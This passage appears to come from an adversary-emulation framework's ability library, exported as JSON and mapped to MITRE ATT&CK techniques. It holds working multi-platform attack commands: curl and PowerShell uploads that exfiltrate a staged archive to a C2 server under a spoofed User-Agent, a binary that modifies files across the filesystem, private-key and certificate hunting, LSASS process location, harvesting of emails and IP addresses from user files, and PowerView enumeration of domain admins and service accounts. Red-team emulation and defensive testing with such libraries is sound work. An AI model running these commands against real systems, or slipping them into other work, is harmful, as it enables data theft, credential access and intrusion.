SilentlyContinue; }\n    }\n};", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.paw_provenance", "relationship_match": [{"source": "host.dir.staged"}]}], "privilege": "", "repeatable": false, "buckets": ["exfiltration"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "ea713bc4-63f0-491c-9a6f-0b01d560b87e", "tactic": "exfiltration", "technique_name": "Exfiltration Over C2 Channel", "technique_id": "T1041", "name": "Exfil staged directory", "description": "Exfil the staged directory", "executors": [{"name": "sh", "platform": "darwin", "command": "curl -F \"data=@#{host.dir.compress}\" --header \"X-Request-ID: `hostname`-#{paw}\" #{server}/file/upload", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "curl -F \"data=@#{host.dir.compress}\" --header \"X-Request-ID: `hostname`-#{paw}\" #{server}/file/upload", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "$ErrorActionPreference = 'Stop';\n$fieldName = \"#{host.dir.compress}\";\n$filePath = \"#{host.dir.compress}\";\n$url = \"#{server}/file/upload\";\n\nAdd-Type -AssemblyName 'System.Net.Http';\n\n$client = New-Object System.Net.Http.HttpClient;\n$content = New-Object System.Net.Http.MultipartFormDataContent;\n$fileStream = [System.IO.File]::OpenRead($filePath);\n$fileName = [System.IO.Path]::GetFileName($filePath);\n$fileContent = New-Object System.Net.Http.StreamContent($fileStream);\n$content.Add($fileContent, $fieldName, $fileName);\n$client.DefaultRequestHeaders.Add(\"X-Request-Id\", $env:COMPUTERNAME + '-#{paw}');\n$client.DefaultRequestHeaders.Add(\"User-Agent\",\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\");\n\n$result = $client.PostAsync($url, $content).Result;\n$result.EnsureSuccessStatusCode();", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "pwsh", "platform": "windows", "command": "$ErrorActionPreference = 'Stop';\n$fieldName = \"#{host.dir.compress}\";\n$filePath = \"#{host.dir.compress}\";\n$url = \"#{server}/file/upload\";\n\nAdd-Type -AssemblyName 'System.Net.Http';\n\n$client = New-Object System.Net.Http.HttpClient;\n$content = New-Object System.Net.Http.MultipartFormDataContent;\n$fileStream = [System.IO.File]::OpenRead($filePath);\n$fileName = [System.IO.Path]::GetFileName($filePath);\n$fileContent = New-Object System.Net.Http.StreamContent($fileStream);\n$content.Add($fileContent, $fieldName, $fileName);\n$client.DefaultRequestHeaders.Add(\"X-Request-Id\", $env:COMPUTERNAME + '-#{paw}');\n$client.DefaultRequestHeaders.Add(\"User-Agent\",\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\");\n\n$result = $client.PostAsync($url, $content).Result;\n$result.EnsureSuccessStatusCode();", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.paw_provenance", "relationship_match": [{"source": "host.dir.compress"}]}], "privilege": "", "repeatable": false, "buckets": ["exfiltration"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "55f9600a-756f-496b-b27f-682052dc429c", "tactic": "impact", "technique_name": "Data Manipulation: Stored Data Manipulation", "technique_id": "T1565.001", "name": "File Hunter Mission", "description": "Hunts for files of a certain extension and inserts a message", "executors": [{"name": "sh", "platform": "darwin", "command": "./mission.go -duration 60 -extension .caldera -dir '/'", "code": null, "language": null, "build_target": null, "payloads": ["mission.go"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "./mission.go -duration 60 -extension .caldera -dir '/'", "code": null, "language": null, "build_target": null, "payloads": ["mission.go"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "cmd", "platform": "windows", "command": "copy mission.go mission.exe &&mission.exe -duration 60 -extension .caldera -dir C:\\", "code": null, "language": null, "build_target": null, "payloads": ["mission.go"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "mv mission.go mission.exe;.\\mission.exe -duration 60 -extension .caldera -dir 'C:\\';", "code": null, "language": null, "build_target": null, "payloads": ["mission.go"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["impact"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "1c353eb4-29ab-4dfe-88ed-f34f5a60848e", "tactic": "discovery", "technique_name": "File and Directory Discovery", "technique_id": "T1083", "name": "File and Directory Discovery", "description": "Find or discover files on the file system", "executors": [{"name": "psh", "platform": "windows", "command": "Get-ChildItem -Path #{host.system.path}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.paw_provenance", "relationship_match": [{"source": "host.system.path"}]}], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "14a21534-350f-4d83-9dd7-3c56b93a0c17", "tactic": "discovery", "technique_name": "System Network Configuration Discovery", "technique_id": "T1016", "name": "Find Domain", "description": "Find Domain information", "executors": [{"name": "psh", "platform": "windows", "command": "nbtstat -n", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.nbtstat", "parserconfigs": [{"source": "network.domain.name", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "720a3356-eee1-4015-9135-0fc08f7eb2d5", "tactic": "collection", "technique_name": "Data from Local System", "technique_id": "T1005", "name": "Find Git Repositories", "description": "This ability will locate directories that are cloned Git repositories.", "executors": [{"name": "sh", "platform": "linux", "command": "for directoryname in $(find /home/ -name '.git' -type d 2>/dev/null | head -5); do\n\tprintf \"$(dirname \"$directoryname\")\\n\";\ndone;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.dir.git", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "Get-ChildItem C:\\Users -Attributes Directory+Hidden -ErrorAction SilentlyContinue -Filter \".git\" -Recurse | foreach {$_.parent.FullName} | Select-Object; exit 0;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.dir.git", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "pwsh", "platform": "windows", "command": "Get-ChildItem C:\\Users -Attributes Directory+Hidden -ErrorAction SilentlyContinue -Filter \".git\" -Recurse | foreach {$_.parent.FullName} | Select-Object; exit 0;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.dir.git", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["collection"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "fdf8bf36-797f-4157-805b-fe7c1c6fc903", "tactic": "discovery", "technique_name": "Remote System Discovery", "technique_id": "T1018", "name": "Find Hostname", "description": "Find hostname of remote host", "executors": [{"name": "psh", "platform": "windows", "command": "nbtstat -A #{remote.host.ip}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "d69e8660-62c9-431e-87eb-8cf6bd4e35cf", "tactic": "collection", "technique_name": "Data from Local System", "technique_id": "T1005", "name": "Find IP addresses", "description": "Grep for IP addresses in file system per user", "executors": [{"name": "sh", "platform": "darwin", "command": "find $(echo ~#{host.user.name}) -type f -size -500k -maxdepth 5 -exec grep -EIr -o \"(($(echo #{domain.broadcast.ip} | cut -d. -f-2))\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\" 2>/dev/null {} \\;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.paw_provenance", "relationship_match": [{"source": "host.user.name"}]}], "privilege": "", "repeatable": false, "buckets": ["collection"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "0bff4ee7-42a4-4bde-b09a-9d79d8b9edd7", "tactic": "discovery", "technique_name": "Process Discovery", "technique_id": "T1057", "name": "Find LSASS", "description": "Get process info for LSASS", "executors": [{"name": "psh", "platform": "windows", "command": "$ps = get-process | select processname,Id;\n$valid = foreach($p in $ps) { if($p.ProcessName -eq \"lsass\") {$p} };\n$valid | ConvertTo-Json", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.json", "parserconfigs": [{"source": "host.process.id", "edge": "", "target": "", "custom_parser_vals": {"json_key": "Id", "json_type": "int"}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "cmd", "platform": "windows", "command": null, "code": "using System;\nusing System.Diagnostics;\nusing System.ComponentModel;\n\nnamespace ProcessDump\n{\n    class MyProcess\n    {\n        void GrabLsassProcess()\n        {\n            Process[] allProc = Process.GetProcessesByName(\"lsass\");\n            foreach(Process proc in allProc){\n                Console.WriteLine(\"Process: {0} -> PID: {1}\", proc.ProcessName, proc.Id);\n            }\n        }\n        static void Main(string[] args)\n        {\n            MyProcess myProc = new MyProcess();\n            myProc.GrabLsassProcess();\n        }\n    }\n}", "language": "csharp", "build_target": "GetLsass.exe", "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "b6b105b9-41dc-490b-bc5c-80d699b82ce8", "tactic": "discovery", "technique_name": "System Information Discovery", "technique_id": "T1082", "name": "Find OS Version", "description": "Find OS Version", "executors": [{"name": "psh", "platform": "windows", "command": "[environment]::OSVersion.Version", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "638fb6bb-ba39-4285-93d1-7e4775b033a8", "tactic": "discovery", "technique_name": "System Network Connections Discovery", "technique_id": "T1049", "name": "Find System Network Connections", "description": "Find System Network Connections", "executors": [{"name": "sh", "platform": "darwin", "command": "netstat -anto", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "netstat -anto", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "netstat -anto;\nGet-NetTCPConnection", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "1f7ff232-ebf8-42bf-a3c4-657855794cfe", "tactic": "collection", "technique_name": "Data from Local System", "technique_id": "T1005", "name": "Find company emails", "description": "Grep for all emails for the given target company", "executors": [{"name": "sh", "platform": "darwin", "command": "find $(echo ~#{host.user.name}) -type f -size -500k -maxdepth 5 -exec grep -EIr -o \"\\b[A-Za-z0-9._%+-]+@#{target.org.name}\\b\" 2>/dev/null {} \\;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.paw_provenance", "relationship_match": [{"source": "host.user.name"}]}], "privilege": "", "repeatable": false, "buckets": ["collection"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "30732a56-4a23-4307-9544-09caf2ed29d5", "tactic": "discovery", "technique_name": "System Information Discovery", "technique_id": "T1082", "name": "Find deletable dirs (per user)", "description": "Discover all directories containing deletable files by user", "executors": [{"name": "sh", "platform": "darwin", "command": "find / -type d -user #{host.user.name} \\( -perm -g+w -or -perm -o+w \\) 2>/dev/null -exec ls -adl {} \\;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "find / -type d -user #{host.user.name} \\( -perm -g+w -or -perm -o+w \\) 2>/dev/null -exec ls -adl {} \\;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.paw_provenance", "relationship_match": [{"source": "host.user.name"}]}], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "90c2efaa-8205-480d-8bb6-61d90dbaf81b", "tactic": "collection", "technique_name": "Data from Local System", "technique_id": "T1005", "name": "Find files", "description": "Locate files deemed sensitive", "executors": [{"name": "sh", "platform": "darwin", "command": "find /Users -name '*.#{file.sensitive.extension}' -type f -not -path '*/\\.*' -size -500k 2>/dev/null | head -5", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.file.path", "edge": "has_extension", "target": "file.sensitive.extension", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "Get-ChildItem C:\\Users -Recurse -Include *.#{file.sensitive.extension} -ErrorAction 'SilentlyContinue' | foreach {$_.FullName} | Select-Object -first 5;\nexit 0;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.file.path", "edge": "has_extension", "target": "file.sensitive.extension", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "pwsh", "platform": "windows", "command": "Get-ChildItem C:\\Users -Recurse -Include *.#{file.sensitive.extension} -ErrorAction 'SilentlyContinue' | foreach {$_.FullName} | Select-Object -first 5;\nexit 0;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.file.path", "edge": "has_extension", "target": "file.sensitive.extension", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "find / -name '*.#{file.sensitive.extension}' -type f -not -path '*/\\.*' -size -500k 2>/dev/null | head -5", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.file.path", "edge": "has_extension", "target": "file.sensitive.extension", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["collection"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "c1cd6388-3ced-48c7-a511-0434c6ba8f48", "tactic": "discovery", "technique_name": "Account Discovery: Local Account", "technique_id": "T1087.001", "name": "Find local users", "description": "Get a list of all local users", "executors": [{"name": "sh", "platform": "darwin", "command": "cut -d: -f1 /etc/passwd | grep -v '_' | grep -v '#'", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.user.name", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "cut -d: -f1 /etc/passwd | grep -v '_' | grep -v '#'", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.user.name", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "de632c2d-a729-4b77-b781-6a6b09c148ba", "tactic": "credential-access", "technique_name": "Unsecured Credentials: Private Keys", "technique_id": "T1552.004", "name": "Find private keys", "description": "Find private keys on the file system", "executors": [{"name": "psh", "platform": "windows", "command": "foreach($i in @(\".key\",\".pgp\",\".gpg\",\".ppk\",\".p12\",\".pem\",\".pfx\",\".cer\",\".p7b\",\".asc\",\".crt\")){Get-ChildItem -Path c:\\ -Depth 3 -File -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.name -Match \"$i$\"}}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "cmd", "platform": "windows", "command": "for %i in (\\.key \\.pgp \\.gpg \\.ppk \\.p12 \\.pem \\.pfx \\.cer \\.p7b \\.asc) do (dir c:\\ /b /s .key | findstr /e \"%i\")", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "darwin", "command": "for i in .key .pgp .gpg .ppk .p12 .pem .pfx .cer .p7b .asc .crt;do find /Users -maxdepth 3 -name \"*${i}\" 2>/dev/null;done;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "for i in .key .pgp .gpg .ppk .p12 .pem .pfx .cer .p7b .asc .crt;do find /etc -maxdepth 3 -name \"*${i}\" 2>/dev/null;done;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["credential-access"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "3b5db901-2cb8-4df7-8043-c4628a6a5d5a", "tactic": "discovery", "technique_name": "Process Discovery", "technique_id": "T1057", "name": "Find user processes", "description": "Get process info for processes running as a user", "executors": [{"name": "sh", "platform": "darwin", "command": "ps aux | grep #{host.user.name}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "ps aux | grep #{host.user.name}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "$owners = @{};\ngwmi win32_process |% {$owners[$_.handle] = $_.getowner().user};\n$ps = get-process | select processname,Id,@{l=\"Owner\";e={$owners[$_.id.tostring()]}};\nforeach($p in $ps) {\n    if($p.Owner -eq \"#{host.user.name}\") {\n        $p;\n    }\n}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.paw_provenance", "relationship_match": [{"source": "host.user.name"}]}], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "3a2ce3d5-e9e2-4344-ae23-470432ff8687", "tactic": "discovery", "technique_name": "Network Service Scanning", "technique_id": "T1046", "name": "Fingerprint network services", "description": "Uses nmap to fingerprint services that were network accessible", "executors": [{"name": "sh", "platform": "darwin", "command": "nmap -sV -p #{remote.host.port} #{remote.host.ip}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "nmap -sV -p #{remote.host.port} #{remote.host.ip}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "b007fc38-9eb7-4320-92b3-9a3ad3e6ec25", "tactic": "discovery", "technique_name": "Browser Bookmark Discovery", "technique_id": "T1217", "name": "Get Chrome Bookmarks", "description": "Get Chrome Bookmarks", "executors": [{"name": "sh", "platform": "darwin", "command": "cat ~/Library/Application\\ Support/Google/Chrome/Default/Bookmarks", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.bookmarks", "parserconfigs": [{"source": "host.chrome.bookmark_title", "edge": "resolves_to", "target": "host.chrome.bookmark_url", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "fa6e8607-e0b1-425d-8924-9b894da5a002", "tactic": "discovery", "technique_name": "System Time Discovery", "technique_id": "T1124", "name": "Get System Time", "description": "get current system time (ISO 8601)", "executors": [{"name": "sh", "platform": "darwin", "command": "date -u +\"%Y-%m-%dT%H:%M:%SZ\"", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.current.time", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "date -u +\"%Y-%m-%dT%H:%M:%SZ\"", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.current.time", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "Get-Date -UFormat '+%Y-%m-%dT%H:%M:%SZ'", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.current.time", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "aaf34d82-aea9-4278-8ec4-789653e4f5d9", "tactic": "discovery", "technique_name": "System Owner/User Discovery", "technique_id": "T1033", "name": "GetAdminMembers", "description": "Get Administrator users for a computer", "executors": [{"name": "psh", "platform": "windows", "command": "Import-Module .\\powerview.ps1 -Force;\nGet-NetUser -AdminCount | ConvertTo-Json -Depth 1", "code": null, "language": null, "build_target": null, "payloads": ["powerview.ps1"], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.json", "parserconfigs": [{"source": "domain.user.name", "edge": "", "target": "", "custom_parser_vals": {"json_key": "samaccountname", "json_type": "str"}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "0360ede1-3c28-48d3-a6ef-6e98f562c5af", "tactic": "discovery", "technique_name": "Remote System Discovery", "technique_id": "T1018", "name": "GetComputers (Alice)", "description": "Get a list of all computers in a domain", "executors": [{"name": "psh", "platform": "windows", "command": "Import-Module .\\PowerView.ps1 -Force;\nGet-NetComputer", "code": null, "language": null, "build_target": null, "payloads": ["powerview.ps1"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "6131397e-7765-424e-a594-3d7fb2d93a6a", "tactic": "discovery", "technique_name": "Domain Trust Discovery", "technique_id": "T1482", "name": "GetDomain", "description": "Determine the Windows Domain of a computer", "executors": [{"name": "psh", "platform": "windows", "command": "Import-Module .\\powerview.ps1 -Force;\nGet-NetDomain | ConvertTo-Json -Depth 1", "code": null, "language": null, "build_target": null, "payloads": ["powerview.ps1"], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.json", "parserconfigs": [{"source": "domain.ad.forest", "edge": "", "target": "", "custom_parser_vals": {"json_key": "Forest", "json_type": "str"}}, {"source": "domain.ad.name", "edge": "", "target": "", "custom_parser_vals": {"json_key": "Name", "json_type": "str"}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "f1cf4ea1-43f0-4604-9537-3d1b1b2d5b1c", "tactic": "discovery", "technique_name": "System Owner/User Discovery", "technique_id": "T1033", "name": "GetServiceAccounts", "description": "Get Service Accounts for a domain", "executors": [{"name": "psh", "platform": "windows", "command": "Import-Module .\\powerview.ps1 -Force;\nGet-NetUser -SPN | ConvertTo-Json -Depth 1", "code": null, "language": null, "build_target": null, "payloads": ["powerview.ps1"], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.json", "parserconfigs": [{"source": "domain.user.name", "edge": "", "target": "", "custom_parser_vals": {"json_key": "samaccountname", "json_type": "str"}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "8c06ebf8-bacf-486b-bd77-21ba8c5a5777", "tactic": "discovery", "technique_name": "Software Discovery: Security Software Discovery", "technique_id": "T1518.001", "name": "Identify Firewalls", "description": "Identify Firewalls", "executors": [{"name": "psh", "platform": "windows", "command": "$NameSpace = Get-WmiObject -Namespace \"root\" -Class \"__Namespace\" | Select Name | Out-String -Stream | Select-String \"SecurityCenter\";\n$SecurityCenter = $NameSpace | Select-Object -First 1;\nGet-WmiObject -Namespace \"root\\$SecurityCenter\" -Class AntiVirusProduct | Select DisplayName, InstanceGuid, PathToSignedProductExe, PathToSignedReportingExe, ProductState, Timestamp | Format-List;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "c0da588f-79f0-4263-8998-7496b1a40596", "tactic": "discovery", "technique_name": "System Owner/User Discovery", "technique_id": "T1033", "name": "Identify active user", "description": "Find user running agent", "executors": [{"name": "sh", "platform": "darwin", "command": "whoami", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.user.name", "edge": "", "target": "", "custom_parser_vals": {}}, {"source": "domain.user.name", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "whoami", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.user.name", "edge": "", "target": "", "custom_parser_vals": {}}, {"source": "domain.user.name", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", 